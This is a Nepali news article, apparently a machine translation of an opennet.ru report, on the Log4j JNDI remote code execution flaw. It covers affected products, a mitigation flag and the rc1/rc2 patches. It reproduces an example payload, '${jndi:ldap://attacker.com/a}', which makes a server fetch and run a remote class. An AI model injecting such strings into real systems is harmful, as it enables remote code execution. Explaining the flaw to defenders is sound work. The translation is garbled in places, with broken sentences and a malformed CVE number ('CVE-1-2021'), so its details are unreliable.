🥇 Apache Log4j मा रहेको विनाशकारी जोखिमले धेरै जाभा परियोजनाहरूलाई असर गरिरहेको छ

Apache Log4j मा, Java अनुप्रयोगहरूमा लगिङ व्यवस्थित गर्नको लागि एक लोकप्रिय ढाँचा, एउटा महत्वपूर्ण जोखिम पहिचान गरिएको छ जसले "{jndi:URL}" ढाँचामा विशेष रूपमा ढाँचा गरिएको मान लगमा लेखिएको बेलामा स्वेच्छाचारी कोड कार्यान्वयन गर्न अनुमति दिन्छ। आक्रमण जाभा अनुप्रयोगहरूमा गर्न सकिन्छ जुन बाह्य स्रोतहरूबाट प्राप्त मानहरू लग गर्दछ, उदाहरणका लागि, त्रुटि सन्देशहरूमा समस्याग्रस्त मानहरू प्रदर्शन गर्दा।

यो नोट गरिएको छ कि Apache Struts, Apache Solr, Apache Druid वा Apache Flink जस्ता फ्रेमवर्कहरू प्रयोग गर्ने लगभग सबै परियोजनाहरू स्टीम, Apple iCloud, Minecraft ग्राहकहरू र सर्भरहरू सहित समस्याबाट प्रभावित छन्। यो आशा गरिएको छ कि कमजोरीले कर्पोरेट अनुप्रयोगहरूमा ठूलो आक्रमणको लहर निम्त्याउन सक्छ, Apache Struts फ्रेमवर्कमा महत्वपूर्ण कमजोरीहरूको इतिहास दोहोर्याउँछ, जुन, कुनै नराम्रो अनुमान अनुसार, Fortune को 65% द्वारा वेब अनुप्रयोगहरूमा प्रयोग गरिन्छ। 100 कम्पनीहरू। कमजोर प्रणालीहरूको लागि नेटवर्क स्क्यान गर्ने प्रयासहरू सहित।

कार्य शोषण पहिले नै प्रकाशित भइसकेको छ, तर स्थिर शाखाहरूको लागि समाधानहरू अझै सम्म कम्पाइल गरिएको छैन भन्ने तथ्यले समस्या बढेको छ। CVE पहिचानकर्ता अझै नियुक्त गरिएको छैन। फिक्स मात्र log4j-2.15.0-rc1 परीक्षण शाखा मा समावेश छ। भेद्यतालाई रोक्नको लागि समाधानको रूपमा, log4j2.formatMsgNoLookups प्यारामिटरलाई सत्यमा सेट गर्न सिफारिस गरिन्छ।

यो समस्या log4j को लग लाइनहरूमा विशेष मास्क "{}" प्रशोधन गर्ने समर्थनको कारणले भएको हो, जुन JNDI (जाभा नामकरण र निर्देशिका इन्टरफेस) प्रश्नहरू प्रदर्शन गर्न प्रयोग गर्न सकिन्छ। आक्रमण "${jndi:ldap://attacker.com/a}" प्रतिस्थापनको साथ स्ट्रिङ पास गर्नमा उबलिन्छ, जुन, प्रशोधन गर्दा, log4j ले पठाउनेछ। सर्भर जाभा क्लास पाथको लागि attacker.com LDAP क्वेरी। फिर्ता गरियो। सर्भर आक्रमणकारीको मार्ग (जस्तै http://second-stage.attacker.com/Exploit.class) हालको प्रक्रियाको सन्दर्भमा लोड र कार्यान्वयन गरिनेछ, जसले आक्रमणकारीलाई हालको अनुप्रयोगको विशेषाधिकारको साथ प्रणालीमा मनमानी कोड कार्यान्वयन गर्न अनुमति दिनेछ।

परिशिष्ट १: भेद्यतालाई पहिचानकर्ता CVE-1-2021 तोकिएको छ।

परिशिष्ट 2: रिलीज log4j-2.15.0-rc1 द्वारा थपिएको सुरक्षालाई बाइपास गर्ने तरिका पहिचान गरिएको छ। एउटा नयाँ अपडेट, log4j-2.15.0-rc2, जोखिम विरुद्ध थप पूर्ण सुरक्षाको साथ प्रस्ताव गरिएको छ। कोडले गलत तरिकाले ढाँचा गरिएको JNDI URL प्रयोग गर्दा असामान्य समाप्तिको अनुपस्थितिसँग सम्बन्धित परिवर्तनलाई हाइलाइट गर्दछ।

स्रोत: opennet.ru

Apache Log4j मा विनाशकारी जोखिम धेरै Java परियोजनाहरूलाई असर गर्छ